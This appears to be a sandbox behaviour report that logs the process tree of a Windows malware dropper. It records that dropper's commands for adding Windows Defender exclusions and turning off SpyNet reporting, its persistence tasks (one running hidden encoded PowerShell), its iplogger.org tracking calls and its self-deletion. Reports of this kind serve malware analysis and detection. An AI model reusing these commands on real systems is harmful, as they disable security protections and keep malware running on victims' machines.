PID 1744 wrote to memory of 1360	1744	362592241e15293c68d0f24468723bbb.exe	77
PID 1744 wrote to memory of 1360	1744	362592241e15293c68d0f24468723bbb.exe	77
PID 1744 wrote to memory of 1360	1744	362592241e15293c68d0f24468723bbb.exe	77
PID 1744 wrote to memory of 3688	1744	Process not Found	109
PID 1744 wrote to memory of 3688	1744	Process not Found	109
PID 1744 wrote to memory of 3688	1744	Process not Found	109
PID 1744 wrote to memory of 336	1744	Process not Found	108
PID 1744 wrote to memory of 336	1744	Process not Found	108
PID 1744 wrote to memory of 3508	1744	Process not Found	107
PID 1744 wrote to memory of 3508	1744	Process not Found	107
PID 1744 wrote to memory of 3508	1744	Process not Found	107
PID 1744 wrote to memory of 3260	1744	Process not Found	106
PID 1744 wrote to memory of 3260	1744	Process not Found	106
PID 1744 wrote to memory of 3260	1744	Process not Found	106
PID 1744 wrote to memory of 2936	1744	Process not Found	105
PID 1744 wrote to memory of 2936	1744	Process not Found	105
PID 1744 wrote to memory of 2936	1744	Process not Found	105
PID 1744 wrote to memory of 732	1744	Process not Found	104
PID 1744 wrote to memory of 732	1744	Process not Found	104
PID 1744 wrote to memory of 732	1744	Process not Found	104
PID 1744 wrote to memory of 1180	1744	Process not Found	78
PID 1744 wrote to memory of 1180	1744	Process not Found	78
PID 1744 wrote to memory of 1180	1744	Process not Found	78
PID 1744 wrote to memory of 3372	1744	Process not Found	100
PID 1744 wrote to memory of 3372	1744	Process not Found	100
PID 1744 wrote to memory of 3372	1744	Process not Found	100
PID 1744 wrote to memory of 2272	1744	Process not Found	99
PID 1744 wrote to memory of 2272	1744	Process not Found	99
PID 1744 wrote to memory of 2272	1744	Process not Found	99
PID 1744 wrote to memory of 3212	1744	Process not Found	98
PID 1744 wrote to memory of 3212	1744	Process not Found	98
PID 1744 wrote to memory of 3212	1744	Process not Found	98
PID 1744 wrote to memory of 3528	1744	Install.exe	97
PID 1744 wrote to memory of 3528	1744	Install.exe	97
PID 1744 wrote to memory of 3528	1744	Install.exe	97
PID 1744 wrote to memory of 2792	1744	Install.exe	96
PID 1744 wrote to memory of 2792	1744	Install.exe	96
PID 1744 wrote to memory of 2792	1744	Install.exe	96
PID 1744 wrote to memory of 4172	1744	Install.exe	151
PID 1744 wrote to memory of 4172	1744	Install.exe	151
PID 1744 wrote to memory of 4172	1744	Install.exe	151
PID 1744 wrote to memory of 4320	1744	Install.exe	93
PID 1744 wrote to memory of 4320	1744	Install.exe	93
PID 4172 wrote to memory of 4328	4172	cmd.exe	92
PID 4172 wrote to memory of 4328	4172	cmd.exe	92
PID 4172 wrote to memory of 4328	4172	cmd.exe	92
PID 4228 wrote to memory of 1360	4228	WerFault.exe	77
PID 4228 wrote to memory of 1360	4228	WerFault.exe	77
PID 4184 wrote to memory of 1180	4184	WerFault.exe	78
PID 4184 wrote to memory of 1180	4184	WerFault.exe	78
PID 1744 wrote to memory of 4408	1744	Install.exe	82
PID 1744 wrote to memory of 4408	1744	Install.exe	82
PID 1744 wrote to memory of 4408	1744	Install.exe	82
PID 3528 wrote to memory of 4472	3528	ICiN9KAz7v4cr5IpiP9_4vSn.exe	83
PID 3528 wrote to memory of 4472	3528	ICiN9KAz7v4cr5IpiP9_4vSn.exe	83
PID 3528 wrote to memory of 4472	3528	ICiN9KAz7v4cr5IpiP9_4vSn.exe	83

C:\Users\Admin\AppData\Local\Temp\362592241e15293c68d0f24468723bbb.exe
"C:\Users\Admin\AppData\Local\Temp\362592241e15293c68d0f24468723bbb.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Users\Admin\Pictures\Adobe Films\vS_i1CVbhYqW4XoOtKq9d4de.exe
  "C:\Users\Admin\Pictures\Adobe Films\vS_i1CVbhYqW4XoOtKq9d4de.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3312
- C:\Users\Admin\Pictures\Adobe Films\ybATIJv2JNVzsQmaH_k0hee5.exe
  "C:\Users\Admin\Pictures\Adobe Films\ybATIJv2JNVzsQmaH_k0hee5.exe"
  2⤵
  - Executes dropped EXE
  PID:916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4744
- - C:\Users\Admin\Documents\NJ9A6xCoozu6sFKOyEPASgUB.exe
    "C:\Users\Admin\Documents\NJ9A6xCoozu6sFKOyEPASgUB.exe"
    3⤵
    PID:4736
  - - C:\Users\Admin\Pictures\Adobe Films\xhF9Gb8FfZi3NO5Oz4wogNrE.exe
      "C:\Users\Admin\Pictures\Adobe Films\xhF9Gb8FfZi3NO5Oz4wogNrE.exe"
      4⤵
      PID:4304
  - - C:\Users\Admin\Pictures\Adobe Films\O7izUkTr4KacRsdEkMjc6ioa.exe
      "C:\Users\Admin\Pictures\Adobe Films\O7izUkTr4KacRsdEkMjc6ioa.exe"
      4⤵
      PID:4480
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 624
        5⤵
        Program crash
        
        PID:968
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 632
        5⤵
        Program crash
        
        PID:4380
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 632
        5⤵
        Program crash
        
        PID:1348
  - - C:\Users\Admin\Pictures\Adobe Films\WOTGzoS7sFYiQW5vjXjZVwQ0.exe
      "C:\Users\Admin\Pictures\Adobe Films\WOTGzoS7sFYiQW5vjXjZVwQ0.exe"
      4⤵
      PID:4700
    - - C:\Users\Admin\AppData\Local\Temp\is-V51R9.tmp\WOTGzoS7sFYiQW5vjXjZVwQ0.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-V51R9.tmp\WOTGzoS7sFYiQW5vjXjZVwQ0.tmp" /SL5="$90062,140559,56832,C:\Users\Admin\Pictures\Adobe Films\WOTGzoS7sFYiQW5vjXjZVwQ0.exe"
        5⤵
        
        PID:5056
      - C:\Users\Admin\AppData\Local\Temp\is-DISN3.tmp\MSekni.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-DISN3.tmp\MSekni.exe" /S /UID=91
        6⤵
        
        PID:1484
        
        C:\Windows\system32\fondue.exe
        
        "C:\Windows\system32\fondue.exe" /enable-feature:NetFx3 /caller-name:mscoreei.dll
        7⤵
        
        PID:3132
  - - C:\Users\Admin\Pictures\Adobe Films\iHOIr1PqCmFinMwOLHvLZrHr.exe
      "C:\Users\Admin\Pictures\Adobe Films\iHOIr1PqCmFinMwOLHvLZrHr.exe"
      4⤵
      PID:4280
    - - C:\Windows\SysWOW64\control.exe
        
        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
        5⤵
        
        PID:2388
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
        6⤵
        
        PID:4192
  - - C:\Users\Admin\Pictures\Adobe Films\iPbKBFdhOaky5g5yvc7eZF5A.exe
      "C:\Users\Admin\Pictures\Adobe Films\iPbKBFdhOaky5g5yvc7eZF5A.exe"
      4⤵
      PID:4268
    - - C:\Users\Admin\AppData\Local\Temp\7zS7708.tmp\Install.exe
        
        .\Install.exe
        5⤵
        
        PID:2636
      - C:\Users\Admin\AppData\Local\Temp\7zS805F.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        6⤵
        Checks computer location settings
        Modifies system certificate store
        Suspicious use of WriteProcessMemory
        
        PID:1744
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:112
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:2868
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        9⤵
        
        PID:4756
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        7⤵
        
        PID:2464
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        8⤵
        
        PID:1196
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        9⤵
        
        PID:4324
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        9⤵
        
        PID:4528
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gFpLKLlBn" /SC once /ST 13:13:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        7⤵
        Creates scheduled task(s)
        
        PID:968
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gFpLKLlBn"
        7⤵
        
        PID:4768
  - - C:\Users\Admin\Pictures\Adobe Films\HjbtgPymoIC00UclZaa2jfy_.exe
      "C:\Users\Admin\Pictures\Adobe Films\HjbtgPymoIC00UclZaa2jfy_.exe"
      4⤵
      PID:4584
    - - C:\Users\Admin\AppData\Local\Temp\TrdngAnlzr95662.exe
        
        "C:\Users\Admin\AppData\Local\Temp\TrdngAnlzr95662.exe"
        5⤵
        
        PID:4880
      - C:\Users\Admin\AppData\Local\Temp\7A0EM.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7A0EM.exe"
        6⤵
        
        PID:2580
      - C:\Users\Admin\AppData\Local\Temp\431J8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\431J8.exe"
        6⤵
        
        PID:4924
      - C:\Users\Admin\AppData\Local\Temp\2MC4EI2ACCFALLH.exe
        
        https://iplogger.org/1ydBa7
        6⤵
        
        PID:2472
      - C:\Users\Admin\AppData\Local\Temp\2MC4E.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2MC4E.exe"
        6⤵
        
        PID:3872
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /y .\TPfMuf.F5
        7⤵
        
        PID:3748
      - C:\Users\Admin\AppData\Local\Temp\56IMC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\56IMC.exe"
        6⤵
        
        PID:2764
      - C:\Users\Admin\AppData\Local\Temp\56IMC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\56IMC.exe"
        6⤵
        
        PID:4976
    - - C:\Users\Admin\AppData\Local\Temp\BlackCleanerSetp23468.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BlackCleanerSetp23468.exe"
        5⤵
        
        PID:4176
    - - C:\Users\Admin\AppData\Local\Temp\jwang.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jwang.exe"
        5⤵
        
        PID:3504
      - C:\Users\Admin\AppData\Local\Temp\jwang.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jwang.exe" -a
        6⤵
        
        PID:4348
    - - C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        5⤵
        
        PID:4604
    - - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        5⤵
        
        PID:5016
      - C:\Users\Admin\AppData\Local\Temp\is-M5C7M.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-M5C7M.tmp\setup.tmp" /SL5="$2027E,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        6⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        7⤵
        
        PID:1564
        
        C:\Users\Admin\AppData\Local\Temp\is-P6CQM.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-P6CQM.tmp\setup.tmp" /SL5="$B005E,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        8⤵
        
        PID:3504
    - - C:\Users\Admin\AppData\Local\Temp\md7_7dfj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\md7_7dfj.exe"
        5⤵
        
        PID:4240
    - - C:\Users\Admin\AppData\Local\Temp\askinstall63.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall63.exe"
        5⤵
        
        PID:2080
    - - C:\Users\Admin\AppData\Local\Temp\siww1049.exe
        
        "C:\Users\Admin\AppData\Local\Temp\siww1049.exe"
        5⤵
        
        PID:3004
      - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:4852
    - - C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Routes Installation.exe"
        5⤵
        
        PID:2520
    - - C:\Users\Admin\AppData\Local\Temp\anytime1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime1.exe"
        5⤵
        
        PID:3100
    - - C:\Users\Admin\AppData\Local\Temp\anytime2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime2.exe"
        5⤵
        
        PID:3932
    - - C:\Users\Admin\AppData\Local\Temp\anytime3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime3.exe"
        5⤵
        
        PID:4436
    - - C:\Users\Admin\AppData\Local\Temp\anytime4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime4.exe"
        5⤵
        
        PID:2744
    - - C:\Users\Admin\AppData\Local\Temp\anytime5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime5.exe"
        5⤵
        
        PID:4548
- C:\Users\Admin\Pictures\Adobe Films\_2j9n9Sg1sfsMaC6adG928V7.exe
  "C:\Users\Admin\Pictures\Adobe Films\_2j9n9Sg1sfsMaC6adG928V7.exe"
  2⤵
  - Executes dropped EXE
  PID:1360
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 396
    3⤵
    - Program crash
    PID:4484
- C:\Users\Admin\Pictures\Adobe Films\Wk0rVxYSRRtjv30btRFoaQwU.exe
  "C:\Users\Admin\Pictures\Adobe Films\Wk0rVxYSRRtjv30btRFoaQwU.exe"
  2⤵
  - Executes dropped EXE
  PID:1180
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 452
    3⤵
    - Program crash
    PID:4496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 460
    3⤵
    - Program crash
    PID:4608
- C:\Users\Admin\Pictures\Adobe Films\umCl_CK3aERAltsYKgxwTt86.exe
  "C:\Users\Admin\Pictures\Adobe Films\umCl_CK3aERAltsYKgxwTt86.exe"
  2⤵
  - Executes dropped EXE
  PID:4408
- - C:\Users\Admin\AppData\Local\Temp\Lfyxrhotipp1.exe
    "C:\Users\Admin\AppData\Local\Temp\Lfyxrhotipp1.exe"
    3⤵
    PID:4904
- - C:\Users\Admin\Pictures\Adobe Films\umCl_CK3aERAltsYKgxwTt86.exe
    "C:\Users\Admin\Pictures\Adobe Films\umCl_CK3aERAltsYKgxwTt86.exe"
    3⤵
    PID:4536
- - C:\Users\Admin\Pictures\Adobe Films\umCl_CK3aERAltsYKgxwTt86.exe
    "C:\Users\Admin\Pictures\Adobe Films\umCl_CK3aERAltsYKgxwTt86.exe"
    3⤵
    PID:3452
- C:\Users\Admin\Pictures\Adobe Films\nSZMUFHWJfHLWkr9dIYc0v1W.exe
  "C:\Users\Admin\Pictures\Adobe Films\nSZMUFHWJfHLWkr9dIYc0v1W.exe"
  2⤵
  PID:4728
- - C:\Users\Admin\AppData\Local\Temp\3AE39.exe
    "C:\Users\Admin\AppData\Local\Temp\3AE39.exe"
    3⤵
    PID:3852
- - C:\Users\Admin\AppData\Local\Temp\3AE39.exe
    "C:\Users\Admin\AppData\Local\Temp\3AE39.exe"
    3⤵
    PID:4716
- - C:\Users\Admin\AppData\Local\Temp\3AE39.exe
    "C:\Users\Admin\AppData\Local\Temp\3AE39.exe"
    3⤵
    PID:1808
- - C:\Users\Admin\AppData\Local\Temp\GMB472IDA9DF44F.exe
    https://iplogger.org/1OUvJ
    3⤵
    PID:4120
- - C:\Users\Admin\AppData\Local\Temp\GMB47.exe
    "C:\Users\Admin\AppData\Local\Temp\GMB47.exe"
    3⤵
    PID:1444
- - C:\Users\Admin\AppData\Local\Temp\GMB47.exe
    "C:\Users\Admin\AppData\Local\Temp\GMB47.exe"
    3⤵
    PID:1132
- - C:\Users\Admin\AppData\Local\Temp\3AE39.exe
    "C:\Users\Admin\AppData\Local\Temp\3AE39.exe"
    3⤵
    PID:4132
- C:\Users\Admin\Pictures\Adobe Films\igCzJYNA3KKRqyr4McjUoUhK.exe
  "C:\Users\Admin\Pictures\Adobe Films\igCzJYNA3KKRqyr4McjUoUhK.exe"
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Users\Admin\Pictures\Adobe Films\_HKgHvLMFwfEgXKmIbasSoKd.exe
  "C:\Users\Admin\Pictures\Adobe Films\_HKgHvLMFwfEgXKmIbasSoKd.exe"
  2⤵
  PID:4172
- C:\Users\Admin\Pictures\Adobe Films\IZwhRf5QGCz0vVgCfAgMPXyL.exe
  "C:\Users\Admin\Pictures\Adobe Films\IZwhRf5QGCz0vVgCfAgMPXyL.exe"
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Users\Admin\Pictures\Adobe Films\ICiN9KAz7v4cr5IpiP9_4vSn.exe
  "C:\Users\Admin\Pictures\Adobe Films\ICiN9KAz7v4cr5IpiP9_4vSn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3528
- C:\Users\Admin\Pictures\Adobe Films\jS_epXXSsobJNhPZtg9wGJjS.exe
  "C:\Users\Admin\Pictures\Adobe Films\jS_epXXSsobJNhPZtg9wGJjS.exe"
  2⤵
  - Executes dropped EXE
  PID:3212
- - C:\Users\Admin\Pictures\Adobe Films\jS_epXXSsobJNhPZtg9wGJjS.exe
    "C:\Users\Admin\Pictures\Adobe Films\jS_epXXSsobJNhPZtg9wGJjS.exe"
    3⤵
    PID:4844
- C:\Users\Admin\Pictures\Adobe Films\iuAgBhMqO6zWlS8fIvzUqDPi.exe
  "C:\Users\Admin\Pictures\Adobe Films\iuAgBhMqO6zWlS8fIvzUqDPi.exe"
  2⤵
  - Executes dropped EXE
  PID:2272
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 624
    3⤵
    - Program crash
    PID:816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 632
    3⤵
    - Program crash
    PID:3472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 676
    3⤵
    - Program crash
    PID:536
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 684
    3⤵
    - Program crash
    PID:5080
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 1244
    3⤵
    - Program crash
    PID:4344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 1252
    3⤵
    - Program crash
    PID:2816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 1300
    3⤵
    - Program crash
    PID:3744
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 1312
    3⤵
    - Program crash
    PID:4624
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "iuAgBhMqO6zWlS8fIvzUqDPi.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\iuAgBhMqO6zWlS8fIvzUqDPi.exe" & exit
    3⤵
    PID:2448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "iuAgBhMqO6zWlS8fIvzUqDPi.exe" /f
      4⤵
      Kills process with taskkill
      PID:3672
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 1104
    3⤵
    - Program crash
    PID:1928
- C:\Users\Admin\Pictures\Adobe Films\FmaLBQSqzd88yK9MTnMjpMfu.exe
  "C:\Users\Admin\Pictures\Adobe Films\FmaLBQSqzd88yK9MTnMjpMfu.exe"
  2⤵
  - Executes dropped EXE
  PID:3372
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 1416
    3⤵
    - Program crash
    PID:3756
- C:\Users\Admin\Pictures\Adobe Films\4hic6NEP3EyLVLuSW3m03IiI.exe
  "C:\Users\Admin\Pictures\Adobe Films\4hic6NEP3EyLVLuSW3m03IiI.exe"
  2⤵
  - Executes dropped EXE
  PID:732
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 732 -s 468
    3⤵
    - Program crash
    PID:4792
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 732 -s 476
    3⤵
    - Program crash
    PID:4896
- C:\Users\Admin\Pictures\Adobe Films\XKPbEEoNZqW2d7EN7HkHJLqH.exe
  "C:\Users\Admin\Pictures\Adobe Films\XKPbEEoNZqW2d7EN7HkHJLqH.exe"
  2⤵
  - Executes dropped EXE
  PID:2936
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 468
    3⤵
    - Program crash
    PID:4784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 508
    3⤵
    - Program crash
    PID:4748
- C:\Users\Admin\Pictures\Adobe Films\ePWlDzG0jxMyRWvjHT9HCLB9.exe
  "C:\Users\Admin\Pictures\Adobe Films\ePWlDzG0jxMyRWvjHT9HCLB9.exe"
  2⤵
  - Executes dropped EXE
  PID:3260
- C:\Users\Admin\Pictures\Adobe Films\9HnzJKlZhlHJuaV939x9saBu.exe
  "C:\Users\Admin\Pictures\Adobe Films\9HnzJKlZhlHJuaV939x9saBu.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3508
- C:\Users\Admin\Pictures\Adobe Films\WsiACXB0z9IzkCkiT5XsdipR.exe
  "C:\Users\Admin\Pictures\Adobe Films\WsiACXB0z9IzkCkiT5XsdipR.exe"
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Users\Admin\Pictures\Adobe Films\1Bb7NhHICwTNdF78cG4tpup4.exe
  "C:\Users\Admin\Pictures\Adobe Films\1Bb7NhHICwTNdF78cG4tpup4.exe"
  2⤵
  - Executes dropped EXE
  PID:3688
- - C:\Windows\SysWOW64\control.exe
    "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
    3⤵
    PID:5012
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\PDSIHzLf.cPl",
      4⤵
      PID:4664

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
- Checks processor information in registry
PID:1220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:548

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1180 -ip 1180
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:4184

C:\Users\Admin\AppData\Local\Temp\7zS406D.tmp\Install.exe
.\Install.exe
1⤵
- Executes dropped EXE
PID:4472
- C:\Users\Admin\AppData\Local\Temp\7zS4B79.tmp\Install.exe
  .\Install.exe /S /site_id "525403"
  2⤵
  PID:4988
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
    3⤵
    PID:3888
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
      4⤵
      PID:3428
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        5⤵
        
        PID:4708
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        5⤵
        
        PID:1280
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
    3⤵
    PID:4220
  - - C:\Windows\SysWOW64\cmd.exe
      /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4172
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:2368
    - - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        5⤵
        
        PID:2580
- - C:\Windows\SysWOW64\schtasks.exe
